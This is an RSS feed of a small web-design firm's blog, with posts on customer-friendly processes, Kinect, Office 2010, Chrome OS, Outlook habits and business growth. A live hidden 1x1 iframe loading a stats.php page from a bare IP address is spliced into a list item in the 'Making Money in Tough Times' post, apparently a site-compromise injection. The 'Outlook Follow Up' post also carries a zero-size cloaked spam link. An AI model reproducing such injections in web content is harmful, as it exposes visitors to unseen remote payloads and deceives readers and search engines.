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	<title>EduCyber Blog: Internet Marketing, Web Design and Network Support &#187; technology</title>
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	<link>http://www.educyber.com/blog</link>
	<description>Internet Marketing and Technology Blog</description>
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		<title>Change Your Perspective</title>
		<link>http://www.educyber.com/blog/change-perspective/</link>
		<comments>http://www.educyber.com/blog/change-perspective/#comments</comments>
		<pubDate>Mon, 21 Nov 2011 17:22:54 +0000</pubDate>
		<dc:creator>Brian DeLaet</dc:creator>
				<category><![CDATA[EduCyber]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[marketing]]></category>
		<category><![CDATA[technology]]></category>
		<category><![CDATA[usability]]></category>
		<category><![CDATA[website]]></category>
		<category><![CDATA[business growth]]></category>
		<category><![CDATA[call to action]]></category>
		<category><![CDATA[Denver Web Site Design]]></category>

		<guid isPermaLink="false">http://www.educyber.com/blog/?p=504</guid>
		<description><![CDATA[I just took a look at my schedule. Next week I have lunch with Brian DeLaet twice. The problem you see is that I am Brian DeLaet.  Two different colleagues have sent me calendar invitations to have lunch with them. The problem is they didn’t think about it from my perspective. So my calendar now [...]]]></description>
			<content:encoded><![CDATA[<p>I just took a look at my schedule. Next week I have lunch with Brian DeLaet twice. The problem you see is that I am Brian DeLaet.  Two different colleagues have sent me calendar invitations to have lunch with them. The problem is they didn’t think about it from my perspective.<a href="http://www.educyber.com/blog/wp-content/uploads/2011/11/lunch-with-Brian.png"><img class="size-full wp-image-505 alignright" title="lunch-with-Brian" src="http://www.educyber.com/blog/wp-content/uploads/2011/11/lunch-with-Brian.png" alt="" width="438" height="191" /></a></p>
<p>So my calendar now says I’m having lunch with Brian. Not as helpful as I’d like. Now I have to open up the invitation to see who it is that Brian is dining with.</p>
<p>And a lot of businesses treat their customers the same way. They start off with the perspective that if you’ve arrived – either in person or online – then you’re “in” and they skip over foundational parts of the relationship. It becomes all about “us” – the company, rather than being all about “me” – the customer.</p>
<p>We experienced that today with a software company. We received a username and a password for the software we purchased. There was no mention of how or where to use this information. Just the codes. After some not insignificant searching, we discovered that once we had created an account on vendors site, we could use the codes to get access to the software and registration keys. Ooops. No one told us that.</p>
<p>So what is a business to do? Review your process from beginning to end and test it. Make sure it is customer friendly every step of the way. And a lot of businesses take this step. But this is only the first step. Every process gets changed over time. It gets “improved” when a new manager changes one part of the process but when another manager changes a different part of the process, bad things can happen.</p>
<p>What you need to do is build in a continuous review of your process. For example, if you sign up for EduNotes (our newsletter) you’ll likely be told to expect it weekly when in fact it is now only twice a month. Oops. That is a process that we are reviewing (should be fixed by the time you receive this) so that we are creating the correct expectations for people.</p>
<p>Obviously this applies in every aspect of business but here are just a few of the processes you should check on your <a href="http://www.educyber.com/blog/templates-web-site-design/">web site</a>:</p>
<ul>
<li><a href="http://www.educyber.com/blog/wp-content/uploads/2011/11/process.jpg"><img class="alignleft size-full wp-image-506" title="process" src="http://www.educyber.com/blog/wp-content/uploads/2011/11/process.jpg" alt="" width="200" height="200" /></a>First and foremost, the sales funnel – are you guiding visitors down the best path for them to do business with you? Are calls to action clear and prominent?</li>
<li>Is the sign up for your email newsletter smooth, clear, and setting the right expectations?</li>
<li>How can I find your contact information?</li>
<li>How can I find your physical location?</li>
<li>If your site is set up for ecommerce, is it easy to put things in my shopping cart?</li>
<li>Is it easy to check out?</li>
<li>If your site is generating leads, are the forms easy to fill out? Are you asking for too much information?</li>
<li>Are the images on your site appropriate and do they facilitate your processes?</li>
<li>If you have complex activity (users in forums, members interacting, data being shared) are the instructions clear?</li>
<li>If you want people to engage with you via <a href="http://www.educyber.com/blog/social-media-engagement-strategies/">social media</a>, are the links prominent and working? (I clicked a <a href="http://www.educyber.com/blog/cultivating-customer-relationships-online/">Twitter</a> link last week that took me to <a href="http://www.educyber.com/blog/cultivating-customer-relationships-online/">twitter</a>.com instead of to a user’s page)</li>
</ul>
<p>Let me close with one last example illustrating the need to review and streamline your processes.</p>
<ol>
<li>I received an email from a vendor saying I need to renew a service for a client.</li>
<li>I clicked the link they provided in the email and filled out the form.</li>
<li>I received an email saying I filled out the wrong form and directing me to the right form.</li>
<li>The next time I got a similar email, I remembered the link was wrong but couldn’t find the correct link.</li>
<li>I started a chat with the vendor and was directed yet a different form.</li>
<li>Suspecting something was amiss, I did a Google search, and found the form I’d used previously.</li>
<li>I asked the support person about this other form and was told either one would work!</li>
<li>I requested that the correct link be put in my emails moving forward so that I wouldn’t have to go through this again.</li>
<li>I was told that would happen. Stay tuned to find out if it does.</li>
</ol>
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		<title>The Internet Comes Alive</title>
		<link>http://www.educyber.com/blog/internet-alive/</link>
		<comments>http://www.educyber.com/blog/internet-alive/#comments</comments>
		<pubDate>Tue, 08 Nov 2011 17:05:29 +0000</pubDate>
		<dc:creator>Brian DeLaet</dc:creator>
				<category><![CDATA[EduCyber]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[technology]]></category>
		<category><![CDATA[computer]]></category>
		<category><![CDATA[Denver Technology]]></category>
		<category><![CDATA[innovation]]></category>

		<guid isPermaLink="false">http://www.educyber.com/blog/?p=497</guid>
		<description><![CDATA[Well really it is your computer that is getting livelier but it sounds better (scarier?) to say the Internet. I have asserted for years that my kids will be able to reminisce “remember when computers used to be 2D?” That time is quickly drawing near. In the 70’s and 80’s we heard a lot about [...]]]></description>
			<content:encoded><![CDATA[<p>Well really it is your computer that is getting livelier but it sounds better (scarier?) to say the Internet. I have asserted for years that my kids will be able to reminisce “remember when computers used to be 2D?” That time is quickly drawing near.</p>
<p>In the 70’s and 80’s we heard a lot about how <a href="http://www.educyber.com/blog/internet-alive/">technology</a> built for NASA worked its way into our everyday lives. Now that model has changed – <a href="http://www.educyber.com/blog/internet-alive/">technology</a> built for cutting edge games is working its way into our lives.  I thought it was kind of cool when ESPN set up cameras across the football field so they could give us views almost as though we were in the action – just like many of the video games my kids play.</p>
<p>But late last year Microsoft rolled out a new <a href="http://www.educyber.com/blog/internet-alive/">technology</a> called Kinect that lets you be the game controller. That is pretty cool. Whether you’re driving, dancing or a variety of other activities, your movement is what controls what happens on screen. Seems pretty cool for game <a href="http://www.educyber.com/blog/internet-alive/">technology</a>.</p>
<p>Now pause and think how that could affect your computing experience. If you’re creating a new design, instead of drawing with a mouse, wouldn’t it be cool to draw with your finger – not on the screen but on your desktop? If you’re an architect, wouldn’t it be cool to build a house or building with your hands and have it show up on screen? Med students could perform surgery, rocket scientists could build spacecraft, and the list of possible uses just goes on and on.</p>
<p>Some of the cool things that Tony Stark does in the Iron Man movie as he builds himself a new iron man suit might not be that far off. Add some Kinect-type <a href="http://www.educyber.com/blog/internet-alive/">technology</a> to hologram <a href="http://www.educyber.com/blog/internet-alive/">technology</a>, and you’ll be able to build your own Iron Man suit – well maybe we’re not quite there yet but these technologies are developing.</p>
<p>How does that affect you? You might be done with school but the <a href="http://www.educyber.com/blog/internet-alive/">technology</a> will affect us all. Wouldn’t it be cool to flick your finger through your emails without holding on to a mouse or touching a keyboard? Kiss double-clicking goodbye and greet the finger tap? Be able to dictate (did I mention it also incorporates voice recognition?) a lengthy letter (or chapter of your book) and then edit with your hands instead of having to scroll and click with your mouse and type with your keyboard? The potential impact, on our everyday computing experience, is immense.</p>
<p>And surfing the internet? No more clicking links – just point at them. Marrying Kinect to the Internet could open up some amazing possibilities. Have you heard the stories about people in remote outposts getting sick? Now instead of needing a full time doctor, you could take the right tools and the doctor could operate in Antarctica while sitting in her office in Houston. And being able to operate a robot from afar? Well maybe the movie “Real Steel” is not that far off either but there are all kinds of potential uses.</p>
<p>Learn more about Kinect at the <a href="http://research.microsoft.com/en-us/um/redmond/projects/kinectsdk/default.aspx">Microsoft Kinect website</a>.</p>
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		<title>Seminar: Is Your Site Mobile Ready? How do You Know?</title>
		<link>http://www.educyber.com/blog/is-your-site-mobile-ready/</link>
		<comments>http://www.educyber.com/blog/is-your-site-mobile-ready/#comments</comments>
		<pubDate>Tue, 24 May 2011 21:00:57 +0000</pubDate>
		<dc:creator>Brian DeLaet</dc:creator>
				<category><![CDATA[technology]]></category>
		<category><![CDATA[Mobile Web Site]]></category>

		<guid isPermaLink="false">http://www.educyber.com/blog/?p=451</guid>
		<description><![CDATA[Tuesday, July 19, 2011 &#8220;Is Your Site Mobile Ready? How Do You Know?&#8221; Pay online to reserve your spot &#62;&#62; Do you know if your site is mobile ready? What does mobile ready mean, anyway? Should your site be mobile ready? Do you need to have a separate site for mobile users? These days everyone [...]]]></description>
			<content:encoded><![CDATA[<h2><strong>Tuesday, July 19, 2011</strong><br />
&#8220;Is Your Site Mobile Ready?  How Do You Know?&#8221;</h2>
<p><strong><a href="../../seminar-payonline.php"><span style="font-family: Arial,Helvetica,sans-serif;">Pay online to reserve your spot &gt;&gt;</span></a></strong></p>
<ul>
<li><span style="font-family: Arial,Helvetica,sans-serif;">Do you know if your site is mobile ready?</span></li>
<li><span style="font-family: Arial,Helvetica,sans-serif;">What does mobile ready mean, anyway?</span></li>
<li><span style="font-family: Arial,Helvetica,sans-serif;">Should your site be mobile ready?</span></li>
<li><span style="font-family: Arial,Helvetica,sans-serif;">Do you need to have a separate site for mobile users?</span></li>
</ul>
<p><span style="font-family: Arial,Helvetica,sans-serif;">These days everyone wants  to make sure their <a href="http://www.educyber.com/blog/templates-web-site-design/">web site</a> is “mobile-ready”. But what is mobile ready?  Is there one definition or is this a moving target?<br />
</span></p>
<p><span style="font-family: Arial,Helvetica,sans-serif;">How can you make sure  you’ve got your bases covered? Come and check out this seminar to find  out what the basic (and not so basic) steps are to make sure your site  is indeed ready for mobile, no matter what the device is that is  accessing your site.<br />
</span></p>
<p><span style="font-family: Arial,Helvetica,sans-serif;"><strong>Who should attend this seminar?</strong><br />
CEO’s, COO’s, Marketing Directors and IT Directors. Those<br />
who make decisions regarding the company’s web presence.</span></p>
<p><span style="font-family: Arial,Helvetica,sans-serif;">Location: 4251 Kipling St.<br />
(2nd Floor Conference Room)<br />
Time: 7:30 &#8211; 9:00 am<br />
Cost: $24.99 (includes a light breakfast)</span></p>
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		<title>Office 2010 Released</title>
		<link>http://www.educyber.com/blog/office-2010-released/</link>
		<comments>http://www.educyber.com/blog/office-2010-released/#comments</comments>
		<pubDate>Thu, 17 Jun 2010 17:00:09 +0000</pubDate>
		<dc:creator>Brian DeLaet</dc:creator>
				<category><![CDATA[EduCyber]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[technology]]></category>
		<category><![CDATA[computer]]></category>
		<category><![CDATA[Outlook]]></category>
		<category><![CDATA[Productivity]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.educyber.com/blog/?p=283</guid>
		<description><![CDATA[It’s out. It’s nice. If you’re using Office 2003 or earlier, it’s time to upgrade. Office 2010 uses the same kind of ribbons that Office 2007 users have grown accustomed to. The new “ribbon” that you’ll find in Word 2010 is the one that 2007 should have had. It’s called file. The file ribbon gives [...]]]></description>
			<content:encoded><![CDATA[<p>It’s out. It’s nice. If you’re using Office 2003 or earlier, it’s time to upgrade.</p>
<p>Office 2010 uses the same kind of ribbons that Office 2007 users have grown accustomed to.  The new “ribbon” that you’ll find in Word 2010 is the one that 2007 should have had. It’s called file. The file ribbon gives you all the options and information about the particular file that you’re working on that you could possibly want to know.</p>
<p>For example, as I type this blog entry in Word 2010, when I click the file tab, I have lots of nifty choices like Open, Save, Save as, and Print but the option that is highlighted is Info. Under Info I can Set Permissions (protect the document so that only those who should see it can), Prepare for Sharing (basically let’s me easily strip hidden information that other’s shouldn’t see but that is useful to have for an in house document) and work with different Versions of the document.</p>
<p>I can also see useful information such as how long I’ve been editing this document, add or view the Title and any Tags, see who the creator is, and lots of other information. It is also from the file tab that I can open recent or other documents and do many of the tasks from the old File menu.</p>
<p>As is usually the case, the biggest change comes with Outlook. As the way people communicate continues to change, Microsoft tries to make Outlook the tool to help you do this. Outlook now has its own ribbons (for some reason Outlook 2007 didn’t get the ribbon makeover).</p>
<p>The newest feature here is the Quick Steps box. Basically what this box does is let you create macros or rules on what do with certain messages. Once that rule is created, you can run it by clicking the appropriate button in the Quick Steps box. I’m still experimenting with this but this feature holds potential in helping to tame the email beast.</p>
<p>Access has some nice new features, one that we’re taking a very close look at right now is the Project template. What is nice is that Access is now really designed from the get go to be interactive. I opened the Project template and the first thing I had to do was create a user (myself) and then log in. Then I was off to the races creating and entering information on the project.</p>
<p>The downside is I wanted to watch the video which required SilverLight which I had already installed which Access didn’t recognize as being installed. Still a few issues, it would appear but all in all I like this latest version and could see moving some of our folks to it even before the first service pack.</p>
<p>Other tools that come with the complete version of Office 2010 include OneNote (great for taking quick notes or for having a notebook on a particular task or subject) and InfoPath – the tool for forms – now comes with a Designer part and a Filler part. For business users (those with lots of computers and users), there’s also a new program called SharePoint Workspace. I’m still investigating these but they look to be pretty nifty tools for improved work flow.</p>
<p>The full version “Professional” retails for around $500 but as a productivity tool is well worth it.</p>
<p>&#160;</p>
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		<title>Instant On Operating System</title>
		<link>http://www.educyber.com/blog/instant-on-operating-system/</link>
		<comments>http://www.educyber.com/blog/instant-on-operating-system/#comments</comments>
		<pubDate>Wed, 08 Jul 2009 20:16:54 +0000</pubDate>
		<dc:creator>Brian DeLaet</dc:creator>
				<category><![CDATA[Google]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[technology]]></category>
		<category><![CDATA[Productivity]]></category>

		<guid isPermaLink="false">http://www.educyber.com/blog/?p=184</guid>
		<description><![CDATA[What an interesting week this has been. I helped a wonderful couple from my church transition from their old computer to a newer XP computer. It was interesting when they first called because I asked them what operating system was installed. &#8220;Thelma&#8221; as I&#8217;ll call her, replied that she wasn&#8217;t sure.  I asked her to [...]]]></description>
			<content:encoded><![CDATA[<p>What an interesting week this has been. I helped a wonderful couple from my church transition from their old computer to a newer XP computer. It was interesting when they first called because I asked them what operating system was installed. &#8220;Thelma&#8221; as I&#8217;ll call her, replied that she wasn&#8217;t sure.  I asked her to click on the start button but she couldn&#8217;t find that either. When I arrived, I turned on the computer and it was on almost instantly. Have you got it figure out yet? This was a 486 computer running DOS and Windows 3.11.</p>
<p>The thing that stunned me was how quickly it was ready to go. Even my faster computers will take 45 seconds or longer to boot up. This one was ready in less than 10. But of course it was Windows 3.11 so there wasn&#8217;t alot that could be done on it &#8211; although I did notice that it had an AOL icon so theoretically they could have gone online.</p>
<p>Why write about this now? Well our friends at Google are trying to take us back to <a title="new operating system" href="http://googleblog.blogspot.com/2009/07/introducing-google-chrome-os.html" target="_blank">the days of instant on with their new Google Chrome-OS</a>.  They have had Google Chrome &#8211; the browser &#8211; out for awhile and it works pretty well (though I still prefer Firefox). Their next step is to have an entire operating system that boots quickly and basically just connects to the web from which you can access everything you need. Afterall, with Google Docs and all the other Google apps, what else do you need?</p>
<p>I have to admit it would be nice to have an instant on system that meets 21st Centry expectations of performance and usability because it was nifty to see how quicky that old computer fired up.</p>
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		<title>Making Money in Tough Times: Five Tips to Stay Ahead</title>
		<link>http://www.educyber.com/blog/making-money-in-tough-times-five-tips-to-stay-ahead/</link>
		<comments>http://www.educyber.com/blog/making-money-in-tough-times-five-tips-to-stay-ahead/#comments</comments>
		<pubDate>Tue, 21 Apr 2009 23:30:33 +0000</pubDate>
		<dc:creator>Brian DeLaet</dc:creator>
				<category><![CDATA[Denver Search marketing]]></category>
		<category><![CDATA[EduCyber]]></category>
		<category><![CDATA[technology]]></category>
		<category><![CDATA[website]]></category>
		<category><![CDATA[business growth]]></category>
		<category><![CDATA[ecommerce]]></category>
		<category><![CDATA[internet marketing]]></category>

		<guid isPermaLink="false">http://www.educyber.com/blog/?p=162</guid>
		<description><![CDATA[Is your business growing? Why not? If historical trends hold true, we should be coming out of the recession soon. Wouldn&#8217;t you rather come out poised to grow instead of scrambling to keep up? There are lots of things you can do to make money and grow, even when a recession might tempt you to [...]]]></description>
			<content:encoded><![CDATA[<p>Is your business growing? Why not? If historical trends hold true, we should be coming out of the recession soon. Wouldn&#8217;t you rather come out poised to grow instead of scrambling to keep up?</p>
<p>There are lots of things you can do to make money and grow, even when a recession might tempt you to shrink or think small:</p>
<ol>
<li>Look at your <a href="http://www.educyber.com/blog/templates-web-site-design/">web site</a> through the eyes of your customers. Does it make sense? Do you have a clear <a href="http://www.educyber.com/blog/top-mistakes-web-design/">call to action</a> on each page / section?</li>
<li>Look through your existing customers keeping in mind what you offer and what they have purchased. Offer an upsell based on what you find. Perhaps if they&#8217;ve bought one item or service from you, there is a natural progression (or you can create a &#8220;natural&#8221; progression) for the next level.</li>
<li>Leverage relationships. I recently found myself short-staffed. I was able to leverage a relationship with a key partner to have him service some of my existing customers. He made money and my customers didn&#8217;t experience a lag in service.</li>
<li>One<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --> of my favorite new money-makers is turning things I&#8217;ve already created into information products that I can resell. For example, you can <a title="Technology e-books" href="http://www.educyber.biz/shop/e-books" target="_blank">purchase one of our ebooks online</a> or, if you&#8217;ve missed a seminar that EduCyber offers and really wanted to get it, you can <a title="Seminar Audio Downloads" href="http://www.educyber.biz/shop/audio-seminar" target="_blank">purchase the audio online</a>. If I can do it, so can you.</li>
<li>The old adage that you have to spend money to make money still holds true. We are investing in new <a href="http://www.educyber.com/blog/internet-alive/">technology</a> and investing the time to stay on top of trends in the Internet so that we can make even more money moving forward. What can you invest in (either time or money) that will pay dividends moving ahead?</li>
</ol>
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		<title>Finding Nuggets on The Web</title>
		<link>http://www.educyber.com/blog/finding-nuggets-on-the-web/</link>
		<comments>http://www.educyber.com/blog/finding-nuggets-on-the-web/#comments</comments>
		<pubDate>Wed, 07 Jan 2009 15:19:22 +0000</pubDate>
		<dc:creator>Brian DeLaet</dc:creator>
				<category><![CDATA[Denver Search marketing]]></category>
		<category><![CDATA[marketing]]></category>
		<category><![CDATA[Search]]></category>
		<category><![CDATA[technology]]></category>
		<category><![CDATA[website]]></category>
		<category><![CDATA[Denver Search Engine Optimization]]></category>
		<category><![CDATA[internet marketing]]></category>
		<category><![CDATA[social bookmarks]]></category>
		<category><![CDATA[web site]]></category>

		<guid isPermaLink="false">http://www.educyber.com/blog/?p=123</guid>
		<description><![CDATA[No, this is not about the Denver Nuggets (though they’re looking good this year). One of the nicest things about following blogs and social media is the way in which you can find useful nuggets of information. Starting out my year I have been catching up on some tweets (not using Twitter yet? – you [...]]]></description>
			<content:encoded><![CDATA[<p>No, this is not about the Denver Nuggets (though they’re looking good this year). One of the nicest things about following blogs and <a href="http://www.educyber.com/blog/social-media-engagement-strategies/">social media</a> is the way in which you can find useful nuggets of information. Starting out my year I have been catching up on some tweets (not using <a href="http://www.educyber.com/blog/cultivating-customer-relationships-online/">Twitter</a> yet? – you should check it out) and some blogs and I came across these useful nuggets just today:</p>
<ul>
<li>A friend sent me a link to<a title="Growing your Small Business" href="http://www.makepeacetotalpackage.com/troy-white/56-of-the-best-tips-for-growing-a-small-business-on-a-budget.html" target="_blank"> 56 of the best tips for growing a small business on a budget</a>. I thought “56”? I don’t have time for 56! But I opened the list and scanned down it and number 12 caught my eye. Basically he says you can either increase number of clients, increase average sale price or increase number of purchases per client. And most people spend all their time on the first which often has the smallest impact on your bottom line. So look at how you can increase the average sale price or increase the number of purchases per client.</li>
<li>I’ve been following Joan Stewart, the Publicity Hound, for quite awhile now. <a title="Get Noticed on the Internet" href="http://publicityhound.net/" target="_blank">Joan is the queen of helping people get noticed by the media</a>. Again, not everything that comes from her pen or keyboard relates directly to me but I do get great ideas on how I can help my clients get noticed. As an <a href="http://www.educyber.com/blog/throwing-money-away/">Internet marketing</a> firm, <a title="Search Engine Optimization and Paid Search" href="http://www.educyber.com/web/online-advertising.php">we promote our clients on the Internet</a> and Joan Stewart excels at using tools like <a title="Social Media" href="http://twitter.com" target="_blank">Twitter </a>and <a title="Social Media Marketing" href="http://www.facebook.com" target="_blank">Facebook </a>to get the word out to targeted audiences such as actual reporters. One recent post was about Lynn Terry who wrote a report on how to sell information products without a <a href="http://www.educyber.com/blog/templates-web-site-design/">web site</a>. We of course don’t recommend that – we can build the site for you – but it was thought provoking anyway.</li>
</ul>
<p>So is surfing the net a mindless endeavor or a business-building activity? I say it’s great for business if you do it with a purpose.</p>
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		<title>Outlook Follow Up</title>
		<link>http://www.educyber.com/blog/outlook-follow-up/</link>
		<comments>http://www.educyber.com/blog/outlook-follow-up/#comments</comments>
		<pubDate>Thu, 18 Sep 2008 19:25:40 +0000</pubDate>
		<dc:creator>Brian DeLaet</dc:creator>
				<category><![CDATA[microsoft]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[technology]]></category>
		<category><![CDATA[Denver Computer Support]]></category>
		<category><![CDATA[Denver Technology]]></category>
		<category><![CDATA[Outlook]]></category>

		<guid isPermaLink="false">http://www.educyber.com/blog/?p=69</guid>
		<description><![CDATA[A couple of months ago I wrote about the overwhelming feeling I had every day when my inbox was over-stuffed. I was pushing 2000 messages just in my inbox &#8211; and I was doing a lot of filing of messages then. Well I am happy to report that I have stuck with the program. Back [...]]]></description>
			<content:encoded><![CDATA[<p>A couple of months ago I wrote about the overwhelming feeling I had every day when my inbox was over-stuffed. I was pushing 2000 messages just in my inbox &#8211; and I was doing a lot of filing of messages then. Well I am happy to report that I have stuck with the program. Back then I whittled my inbox down to 6 messages.</p>
<p>Right now my inbox is bloated up to 38 messages. 15 of those will be removed as soon as I take care of the small tasks associated with them. Now don&#8217;t get me wrong. Other than spam, I don&#8217;t throw anything away. I&#8217;ve got emails dating back to 1999. But instead of letting them fill up my inbox, I regularly file the messages away to where they belong.</p>
<p>Even if there is a &#8220;to do&#8221; associated with an email, I can flag it or categorize it and then file it. With Outlook 2007&#8242;s powerful search tools, the flag or category let&#8217;s me know I need to follow up with it. And it feels so good to turn off a due flag on an email and watch the &#8220;For Follow Up&#8221; search category go down by one.</p>
<p>So if you are sinking in your inbox, set aside the time to clean it out. Once its clean, be ruthless. Make sure you come back to it each day or each week and whittle it down. Do I need this email? Does this email represent a to-do for me? Where can I file this email? Does it belong to a specific category? All of these questions can help you figure out where to put the email.</p>
<p>One final confession: I have learned to delete messages as well.  Yes, I had to face it &#8211; some emails, like a single word &#8220;yes&#8221; in reply to a question I asked, might not be worth keeping.<font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://ikoni.eu/">ikoni</a></font></p>
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		<title>Google Knows Everything</title>
		<link>http://www.educyber.com/blog/google-knows-everything/</link>
		<comments>http://www.educyber.com/blog/google-knows-everything/#comments</comments>
		<pubDate>Mon, 28 Jul 2008 15:58:04 +0000</pubDate>
		<dc:creator>Brian DeLaet</dc:creator>
				<category><![CDATA[Search]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[technology]]></category>
		<category><![CDATA[Google]]></category>

		<guid isPermaLink="false">http://www.educyber.com/blog/?p=56</guid>
		<description><![CDATA[It was bound to happen. Google officially knows everything. They have indexed more than ONE TRILLION web pages. They announced this stunning bit of information last Friday on their official blog. If they&#8217;ve indexed that much, they must know everything, right? Much is made of Google and the information they bring to your fingertips with [...]]]></description>
			<content:encoded><![CDATA[<p>It was bound to happen. Google officially knows everything. They have indexed more than ONE TRILLION web pages. They <a href="http://googleblog.blogspot.com/2008/07/we-knew-web-was-big.html" target="_blank">announced this stunning bit of information</a> last Friday on their official blog. If they&#8217;ve indexed that much, they must know everything, right?</p>
<p>Much is made of Google and the information they bring to your fingertips with just a touch of a key or click of a mouse. But just like a teenager or earlier 20&#8242;s college graduate, they&#8217;ve got a lot of knowledge but not  a lot of wisdom. &#8220;Knowing&#8221; lots of stuff and understanding what to do with it is a different matter. Take, for example, the valid complaints of SEO Expert Aaron Wall. In recent blog posts he has complained that <a href="http://www.seobook.com/inappropirate-and-somewhat-offensive-adsense-ad-gmail" target="_blank">ads on his Gmail account have been trying to entice him to date lonely married women</a> because the content of his emails have been about his happy married life as he is a newlywed. Another complaint he had was about a <a href="http://www.seobook.com/google-knol" target="_blank">new Google site that, simply because it is a Google property, trumps others sites in search</a>.</p>
<p>I&#8217;ve taken to re-using my favorite Spiderman quote &#8220;With great power comes great responsibility.&#8221; when dealing with this issue. Google has been a tremendous success. They have built a powerful search engine that has changed the way we communicate and get information. They were definitely in the right place in the right time with the right idea. But as they have grown, they have tended to rely to heavily on their content (their knowledge) and not used wisdom to use this content in a manner that is healthy and consistent with copyright ownership.</p>
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<td style="border: 1px solid gray; padding: 2px; background: #f0f0f0 none repeat scroll 0% 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: darkgreen; font-family: Tahoma; font-size: 7pt; font-weight: bold; white-space: nowrap;"><img style="vertical-align: middle;" src="http://search.msn.com/favicon.ico" alt="" width="12" height="12" /> I: <a style="color: blue; font-family: Tahoma; font-size: 7pt; font-weight: bold; text-decoration: underline;" title="MSN index" href="javascript:{}">wait&#8230;</a></td>
<td style="border: 1px solid gray; padding: 2px; background: #f0f0f0 none repeat scroll 0% 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: darkgreen; font-family: Tahoma; font-size: 7pt; font-weight: bold; white-space: nowrap;"><a style="color: blue; font-family: Tahoma; font-size: 7pt; font-weight: bold; text-decoration: underline;" title="Sitemap.xml" href="javascript:{}">wait&#8230;</a></td>
<td style="border: 1px solid gray; padding: 2px; background: #f0f0f0 none repeat scroll 0% 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: darkgreen; font-family: Tahoma; font-size: 7pt; font-weight: bold; white-space: nowrap;"><img style="vertical-align: middle;" src="http://siteanalytics.compete.com/favicon.ico" alt="" width="12" height="12" /> C: <a style="color: blue; font-family: Tahoma; font-size: 7pt; font-weight: bold; text-decoration: underline;" title="Compete Rank" href="javascript:{}">wait&#8230;</a></td>
<td style="border: 1px solid gray; padding: 2px; background: #f0f0f0 none repeat scroll 0% 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: darkgreen; font-family: Tahoma; font-size: 7pt; font-weight: bold; white-space: nowrap;"><img style="vertical-align: middle;" src="http://seodigger.com/favicon.ico" alt="" width="12" height="12" /> SD: <a style="color: blue; font-family: Tahoma; font-size: 7pt; font-weight: bold; text-decoration: underline;" title="Seodigger" href="javascript:{}">wait&#8230;</a></td>
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		<title>Stay Organized and Stay Productive</title>
		<link>http://www.educyber.com/blog/stay-organized-and-stay-productive/</link>
		<comments>http://www.educyber.com/blog/stay-organized-and-stay-productive/#comments</comments>
		<pubDate>Wed, 23 Jul 2008 23:46:29 +0000</pubDate>
		<dc:creator>Brian DeLaet</dc:creator>
				<category><![CDATA[email]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[technology]]></category>
		<category><![CDATA[training]]></category>
		<category><![CDATA[Exchange]]></category>
		<category><![CDATA[Jott]]></category>
		<category><![CDATA[Outlook]]></category>
		<category><![CDATA[Productivity]]></category>

		<guid isPermaLink="false">http://www.educyber.com/blog/?p=55</guid>
		<description><![CDATA[We&#8217;ve been giving and receiving Outlook training this week and it hit me how important it is to stay focused with productivity tools of which Outlook continues to be one of our most important. In an office environment, using Outlook as the front end to an exchange server gives lots of opportunities for sharing schedules, [...]]]></description>
			<content:encoded><![CDATA[<p>We&#8217;ve been giving and receiving Outlook training this week and it hit me how important it is to stay focused with productivity tools of which Outlook continues to be one of our most important. In an office environment, using Outlook as the front end to an exchange server gives lots of opportunities for sharing schedules, assigning tasks, sharing calendars, and storing emails in public folders so that others in the company can easily access the same information.</p>
<p>Outlook 2007 is a powerful tool whether in a business environment with Exchange server or as a standalone program. The search component in particular is powerful. I have on my Outlook Favorites the search folders Unread Mail and For Followup. You can also add particular category searches that help you to stay connected and keep moving forward. The To-Do bar on the right side of the screen is a handy tool that you can expand or hide to meet your needs but when expanded shows your upcoming schedule and flagged emails.</p>
<p>Another productivity tool that I use in conjunction with Outlook is Jott. I&#8217;ve written about Jott previously but it is a great time saver if you&#8217;re out and about a lot. I can call Jott to send myself emails, ask for reminders that will come to my phone and email, or send an email to anyone in my address book. Yes, from my phone. So when I&#8217;m driving down the road and remember that I need to confirm an appointment via email, I can call (using my hands free bluetooth device of course) and tell Jott to send an email to Ted, letting him know that I&#8217;ll be at the breakfast meeting on Friday and Ted will get the email.</p>
<p>Between Outlook, Exchange and Jott, I manage to stay organized and on top of my schedule and keep my productivity high.</p>
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